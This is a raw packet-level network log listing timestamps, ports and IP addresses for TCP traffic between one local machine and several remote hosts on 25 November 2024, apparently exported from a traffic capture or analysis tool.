Nov 25, 2024 07:53:44.626480103 CET	443	49855	162.159.61.3	192.168.2.6
Nov 25, 2024 07:53:44.626528978 CET	49855	443	192.168.2.6	162.159.61.3
Nov 25, 2024 07:53:44.626633883 CET	49855	443	192.168.2.6	162.159.61.3
Nov 25, 2024 07:53:44.626651049 CET	443	49855	162.159.61.3	192.168.2.6
Nov 25, 2024 07:53:44.805787086 CET	443	49852	172.217.19.225	192.168.2.6
Nov 25, 2024 07:53:44.805999994 CET	49852	443	192.168.2.6	172.217.19.225
Nov 25, 2024 07:53:44.806011915 CET	443	49852	172.217.19.225	192.168.2.6
Nov 25, 2024 07:53:44.806396008 CET	443	49852	172.217.19.225	192.168.2.6
Nov 25, 2024 07:53:44.806411982 CET	443	49852	172.217.19.225	192.168.2.6
Nov 25, 2024 07:53:44.806469917 CET	49852	443	192.168.2.6	172.217.19.225
Nov 25, 2024 07:53:44.806477070 CET	443	49852	172.217.19.225	192.168.2.6
Nov 25, 2024 07:53:44.806507111 CET	49852	443	192.168.2.6	172.217.19.225
Nov 25, 2024 07:53:44.806521893 CET	49852	443	192.168.2.6	172.217.19.225
Nov 25, 2024 07:53:44.807130098 CET	443	49852	172.217.19.225	192.168.2.6
Nov 25, 2024 07:53:44.808310986 CET	49852	443	192.168.2.6	172.217.19.225
Nov 25, 2024 07:53:44.808386087 CET	443	49852	172.217.19.225	192.168.2.6
Nov 25, 2024 07:53:44.808779955 CET	49852	443	192.168.2.6	172.217.19.225
Nov 25, 2024 07:53:44.808787107 CET	443	49852	172.217.19.225	192.168.2.6
Nov 25, 2024 07:53:44.815604925 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:44.899266005 CET	443	49869	18.165.220.57	192.168.2.6
Nov 25, 2024 07:53:44.899522066 CET	49869	443	192.168.2.6	18.165.220.57
Nov 25, 2024 07:53:44.899543047 CET	443	49869	18.165.220.57	192.168.2.6
Nov 25, 2024 07:53:44.901057959 CET	443	49869	18.165.220.57	192.168.2.6
Nov 25, 2024 07:53:44.901124954 CET	49869	443	192.168.2.6	18.165.220.57
Nov 25, 2024 07:53:44.902249098 CET	49869	443	192.168.2.6	18.165.220.57
Nov 25, 2024 07:53:44.902338982 CET	443	49869	18.165.220.57	192.168.2.6
Nov 25, 2024 07:53:44.935188055 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:44.946551085 CET	49852	443	192.168.2.6	172.217.19.225
Nov 25, 2024 07:53:44.950834036 CET	49869	443	192.168.2.6	18.165.220.57
Nov 25, 2024 07:53:44.950846910 CET	443	49869	18.165.220.57	192.168.2.6
Nov 25, 2024 07:53:45.070313931 CET	49869	443	192.168.2.6	18.165.220.57
Nov 25, 2024 07:53:45.146054029 CET	443	49872	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:45.146934986 CET	49872	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:45.146950960 CET	443	49872	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:45.147396088 CET	49872	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:45.147401094 CET	443	49872	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:45.180219889 CET	49880	443	192.168.2.6	162.159.61.3
Nov 25, 2024 07:53:45.180263996 CET	443	49880	162.159.61.3	192.168.2.6
Nov 25, 2024 07:53:45.180356979 CET	49880	443	192.168.2.6	162.159.61.3
Nov 25, 2024 07:53:45.180427074 CET	49881	443	192.168.2.6	162.159.61.3
Nov 25, 2024 07:53:45.180459976 CET	443	49881	162.159.61.3	192.168.2.6
Nov 25, 2024 07:53:45.180512905 CET	49881	443	192.168.2.6	162.159.61.3
Nov 25, 2024 07:53:45.180721998 CET	49880	443	192.168.2.6	162.159.61.3
Nov 25, 2024 07:53:45.180735111 CET	443	49880	162.159.61.3	192.168.2.6
Nov 25, 2024 07:53:45.180840015 CET	49881	443	192.168.2.6	162.159.61.3
Nov 25, 2024 07:53:45.180851936 CET	443	49881	162.159.61.3	192.168.2.6
Nov 25, 2024 07:53:45.194261074 CET	443	49873	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:45.199196100 CET	49873	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:45.199208021 CET	443	49873	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:45.199637890 CET	49873	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:45.199641943 CET	443	49873	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:45.207909107 CET	443	49874	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:45.208261013 CET	49874	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:45.208275080 CET	443	49874	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:45.208766937 CET	49874	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:45.208770037 CET	443	49874	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:45.230596066 CET	443	49875	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:45.231808901 CET	49875	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:45.231826067 CET	443	49875	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:45.232482910 CET	49875	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:45.232489109 CET	443	49875	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:45.237826109 CET	443	49877	172.64.41.3	192.168.2.6
Nov 25, 2024 07:53:45.238137007 CET	49877	443	192.168.2.6	172.64.41.3
Nov 25, 2024 07:53:45.238146067 CET	443	49877	172.64.41.3	192.168.2.6
Nov 25, 2024 07:53:45.239583015 CET	443	49877	172.64.41.3	192.168.2.6
Nov 25, 2024 07:53:45.239655018 CET	49877	443	192.168.2.6	172.64.41.3
Nov 25, 2024 07:53:45.240108013 CET	49877	443	192.168.2.6	172.64.41.3
Nov 25, 2024 07:53:45.240190983 CET	443	49877	172.64.41.3	192.168.2.6
Nov 25, 2024 07:53:45.240253925 CET	49877	443	192.168.2.6	172.64.41.3
Nov 25, 2024 07:53:45.252213955 CET	443	49876	162.159.61.3	192.168.2.6
Nov 25, 2024 07:53:45.252715111 CET	49876	443	192.168.2.6	162.159.61.3
Nov 25, 2024 07:53:45.252743959 CET	443	49876	162.159.61.3	192.168.2.6
Nov 25, 2024 07:53:45.253772974 CET	443	49876	162.159.61.3	192.168.2.6
Nov 25, 2024 07:53:45.253842115 CET	49876	443	192.168.2.6	162.159.61.3
Nov 25, 2024 07:53:45.254475117 CET	49876	443	192.168.2.6	162.159.61.3
Nov 25, 2024 07:53:45.254564047 CET	443	49876	162.159.61.3	192.168.2.6
Nov 25, 2024 07:53:45.255820036 CET	49876	443	192.168.2.6	162.159.61.3
Nov 25, 2024 07:53:45.255827904 CET	443	49876	162.159.61.3	192.168.2.6
Nov 25, 2024 07:53:45.262042046 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:45.262100935 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:45.262115955 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:45.262130022 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:45.262141943 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:45.262146950 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:45.262161016 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:45.262176037 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:45.262185097 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:45.262198925 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:45.262209892 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:45.262233019 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:45.262259960 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:45.263041019 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:45.263123035 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:45.263159990 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:45.263206959 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:45.271409988 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:45.271476030 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:45.271528959 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:45.271579981 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:45.287338972 CET	443	49877	172.64.41.3	192.168.2.6
Nov 25, 2024 07:53:45.354775906 CET	443	49878	172.64.41.3	192.168.2.6
Nov 25, 2024 07:53:45.355340004 CET	49878	443	192.168.2.6	172.64.41.3
Nov 25, 2024 07:53:45.355370998 CET	443	49878	172.64.41.3	192.168.2.6
Nov 25, 2024 07:53:45.356854916 CET	443	49878	172.64.41.3	192.168.2.6
Nov 25, 2024 07:53:45.356924057 CET	49878	443	192.168.2.6	172.64.41.3
Nov 25, 2024 07:53:45.357695103 CET	49878	443	192.168.2.6	172.64.41.3
Nov 25, 2024 07:53:45.357783079 CET	443	49878	172.64.41.3	192.168.2.6
Nov 25, 2024 07:53:45.358266115 CET	49878	443	192.168.2.6	172.64.41.3
Nov 25, 2024 07:53:45.358284950 CET	443	49878	172.64.41.3	192.168.2.6
Nov 25, 2024 07:53:45.381733894 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:45.381799936 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:45.445676088 CET	49877	443	192.168.2.6	172.64.41.3
Nov 25, 2024 07:53:45.445689917 CET	443	49877	172.64.41.3	192.168.2.6
Nov 25, 2024 07:53:45.463047028 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:45.463121891 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:45.463207006 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:45.463360071 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:45.466844082 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:45.466895103 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:45.466938972 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:45.467187881 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:45.467338085 CET	443	49876	162.159.61.3	192.168.2.6
Nov 25, 2024 07:53:45.467608929 CET	49876	443	192.168.2.6	162.159.61.3
Nov 25, 2024 07:53:45.474365950 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:45.474428892 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:45.476906061 CET	49878	443	192.168.2.6	172.64.41.3
Nov 25, 2024 07:53:45.477114916 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:45.477174044 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:45.477233887 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:45.477330923 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:45.484669924 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:45.484757900 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:45.484786987 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:45.484806061 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:45.492696047 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:45.492714882 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:45.492746115 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:45.492770910 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:45.499696016 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:45.499773026 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:45.499811888 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:45.499938965 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:45.506896973 CET	443	49852	172.217.19.225	192.168.2.6
Nov 25, 2024 07:53:45.507281065 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:45.507293940 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:45.507328987 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:45.507386923 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:45.510775089 CET	443	49852	172.217.19.225	192.168.2.6
Nov 25, 2024 07:53:45.510838985 CET	49852	443	192.168.2.6	172.217.19.225
Nov 25, 2024 07:53:45.510848999 CET	443	49852	172.217.19.225	192.168.2.6
Nov 25, 2024 07:53:45.514902115 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:45.514955997 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:45.515033007 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:45.515079975 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:45.522325993 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:45.522350073 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:45.522389889 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:45.522422075 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:45.522434950 CET	443	49852	172.217.19.225	192.168.2.6
Nov 25, 2024 07:53:45.522660971 CET	49852	443	192.168.2.6	172.217.19.225
Nov 25, 2024 07:53:45.522670031 CET	443	49852	172.217.19.225	192.168.2.6
Nov 25, 2024 07:53:45.529278040 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:45.529386044 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:45.529396057 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:45.529419899 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:45.532047033 CET	443	49852	172.217.19.225	192.168.2.6
Nov 25, 2024 07:53:45.532094002 CET	49852	443	192.168.2.6	172.217.19.225
Nov 25, 2024 07:53:45.532104015 CET	443	49852	172.217.19.225	192.168.2.6
Nov 25, 2024 07:53:45.536262035 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:45.536309004 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:45.536319971 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:45.536365032 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:45.544512987 CET	443	49852	172.217.19.225	192.168.2.6
Nov 25, 2024 07:53:45.544579983 CET	49852	443	192.168.2.6	172.217.19.225
Nov 25, 2024 07:53:45.544589043 CET	443	49852	172.217.19.225	192.168.2.6
Nov 25, 2024 07:53:45.558048010 CET	443	49852	172.217.19.225	192.168.2.6
Nov 25, 2024 07:53:45.558104038 CET	49852	443	192.168.2.6	172.217.19.225
Nov 25, 2024 07:53:45.558111906 CET	443	49852	172.217.19.225	192.168.2.6
Nov 25, 2024 07:53:45.571665049 CET	443	49852	172.217.19.225	192.168.2.6
Nov 25, 2024 07:53:45.571748972 CET	49852	443	192.168.2.6	172.217.19.225
Nov 25, 2024 07:53:45.571758032 CET	443	49852	172.217.19.225	192.168.2.6
Nov 25, 2024 07:53:45.588124990 CET	443	49872	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:45.588195086 CET	443	49872	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:45.588715076 CET	49872	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:45.588843107 CET	49872	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:45.588865995 CET	443	49872	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:45.588876009 CET	49872	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:45.588882923 CET	443	49872	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:45.592895031 CET	49882	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:45.592953920 CET	443	49882	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:45.593291044 CET	49882	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:45.593537092 CET	49882	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:45.593550920 CET	443	49882	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:45.630630016 CET	443	49852	172.217.19.225	192.168.2.6
Nov 25, 2024 07:53:45.630696058 CET	49852	443	192.168.2.6	172.217.19.225
Nov 25, 2024 07:53:45.630705118 CET	443	49852	172.217.19.225	192.168.2.6
Nov 25, 2024 07:53:45.634383917 CET	49877	443	192.168.2.6	172.64.41.3
Nov 25, 2024 07:53:45.636949062 CET	443	49873	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:45.637025118 CET	443	49873	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:45.637109995 CET	49873	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:45.637336016 CET	49873	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:45.637350082 CET	443	49873	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:45.637384892 CET	49873	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:45.637392044 CET	443	49873	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:45.639049053 CET	443	49852	172.217.19.225	192.168.2.6
Nov 25, 2024 07:53:45.639122963 CET	49852	443	192.168.2.6	172.217.19.225
Nov 25, 2024 07:53:45.639131069 CET	443	49852	172.217.19.225	192.168.2.6
Nov 25, 2024 07:53:45.641208887 CET	49883	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:45.641243935 CET	443	49883	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:45.641472101 CET	49883	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:45.641794920 CET	49883	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:45.641805887 CET	443	49883	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:45.650784016 CET	443	49874	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:45.650846958 CET	443	49874	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:45.650999069 CET	49874	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:45.651031017 CET	49874	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:45.651045084 CET	443	49874	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:45.651056051 CET	49874	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:45.651061058 CET	443	49874	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:45.654863119 CET	49884	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:45.654892921 CET	443	49884	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:45.654974937 CET	49884	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:45.655245066 CET	49884	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:45.655251980 CET	443	49884	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:45.664360046 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:45.664422035 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:45.664431095 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:45.664463997 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:45.664535046 CET	443	49875	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:45.664593935 CET	443	49875	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:45.664721966 CET	49875	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:45.665724993 CET	49875	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:45.665724993 CET	49875	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:45.665733099 CET	443	49875	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:45.665741920 CET	443	49875	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:45.666657925 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:45.666712046 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:45.666733980 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:45.666786909 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:45.669213057 CET	49885	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:45.669244051 CET	443	49885	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:45.669344902 CET	49885	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:45.669528008 CET	49885	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:45.669543028 CET	443	49885	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:45.671391010 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:45.671451092 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:45.671482086 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:45.671525002 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:45.672600985 CET	443	49877	172.64.41.3	192.168.2.6
Nov 25, 2024 07:53:45.672698021 CET	443	49877	172.64.41.3	192.168.2.6
Nov 25, 2024 07:53:45.672750950 CET	49877	443	192.168.2.6	172.64.41.3
Nov 25, 2024 07:53:45.672904015 CET	49877	443	192.168.2.6	172.64.41.3
Nov 25, 2024 07:53:45.672916889 CET	443	49877	172.64.41.3	192.168.2.6
Nov 25, 2024 07:53:45.676048040 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:45.676085949 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:45.676120996 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:45.676132917 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:45.680757046 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:45.680807114 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:45.680841923 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:45.680882931 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:45.685511112 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:45.685523033 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:45.685579062 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:45.690203905 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:45.690216064 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:45.690262079 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:45.690279961 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:45.694960117 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:45.694972992 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:45.695017099 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:45.695050955 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:45.695477962 CET	443	49876	162.159.61.3	192.168.2.6
Nov 25, 2024 07:53:45.695544004 CET	443	49876	162.159.61.3	192.168.2.6
Nov 25, 2024 07:53:45.695609093 CET	49876	443	192.168.2.6	162.159.61.3
Nov 25, 2024 07:53:45.696363926 CET	49876	443	192.168.2.6	162.159.61.3
Nov 25, 2024 07:53:45.696374893 CET	443	49876	162.159.61.3	192.168.2.6
Nov 25, 2024 07:53:45.699595928 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:45.699650049 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:45.699676037 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:45.699727058 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:45.704288960 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:45.704392910 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:45.704442024 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:45.708990097 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:45.709057093 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:45.709084988 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:45.709134102 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:45.711105108 CET	443	49852	172.217.19.225	192.168.2.6
Nov 25, 2024 07:53:45.711155891 CET	49852	443	192.168.2.6	172.217.19.225
Nov 25, 2024 07:53:45.711163998 CET	443	49852	172.217.19.225	192.168.2.6
Nov 25, 2024 07:53:45.713692904 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:45.713774920 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:45.713808060 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:45.713876009 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:45.718254089 CET	443	49852	172.217.19.225	192.168.2.6
Nov 25, 2024 07:53:45.718302011 CET	49852	443	192.168.2.6	172.217.19.225
Nov 25, 2024 07:53:45.718311071 CET	443	49852	172.217.19.225	192.168.2.6
Nov 25, 2024 07:53:45.718391895 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:45.718638897 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:45.718660116 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:45.718702078 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:45.723092079 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:45.723114014 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:45.723148108 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:45.723180056 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:45.724817991 CET	443	49852	172.217.19.225	192.168.2.6
Nov 25, 2024 07:53:45.724864960 CET	49852	443	192.168.2.6	172.217.19.225
Nov 25, 2024 07:53:45.724873066 CET	443	49852	172.217.19.225	192.168.2.6
Nov 25, 2024 07:53:45.727802992 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:45.727852106 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:45.727991104 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:45.728029966 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:45.732559919 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:45.732599020 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:45.732616901 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:45.732642889 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:45.735943079 CET	443	49852	172.217.19.225	192.168.2.6
Nov 25, 2024 07:53:45.736001968 CET	49852	443	192.168.2.6	172.217.19.225
Nov 25, 2024 07:53:45.736011028 CET	443	49852	172.217.19.225	192.168.2.6
Nov 25, 2024 07:53:45.737252951 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:45.737308979 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:45.737344980 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:45.737411976 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:45.741986990 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:45.741997957 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:45.742044926 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:45.742068052 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:45.744302988 CET	443	49852	172.217.19.225	192.168.2.6
Nov 25, 2024 07:53:45.744374037 CET	49852	443	192.168.2.6	172.217.19.225
Nov 25, 2024 07:53:45.744383097 CET	443	49852	172.217.19.225	192.168.2.6
Nov 25, 2024 07:53:45.746628046 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:45.746675968 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:45.746742010 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:45.746910095 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:45.751338005 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:45.751385927 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:45.751419067 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:45.751460075 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:45.755858898 CET	443	49852	172.217.19.225	192.168.2.6
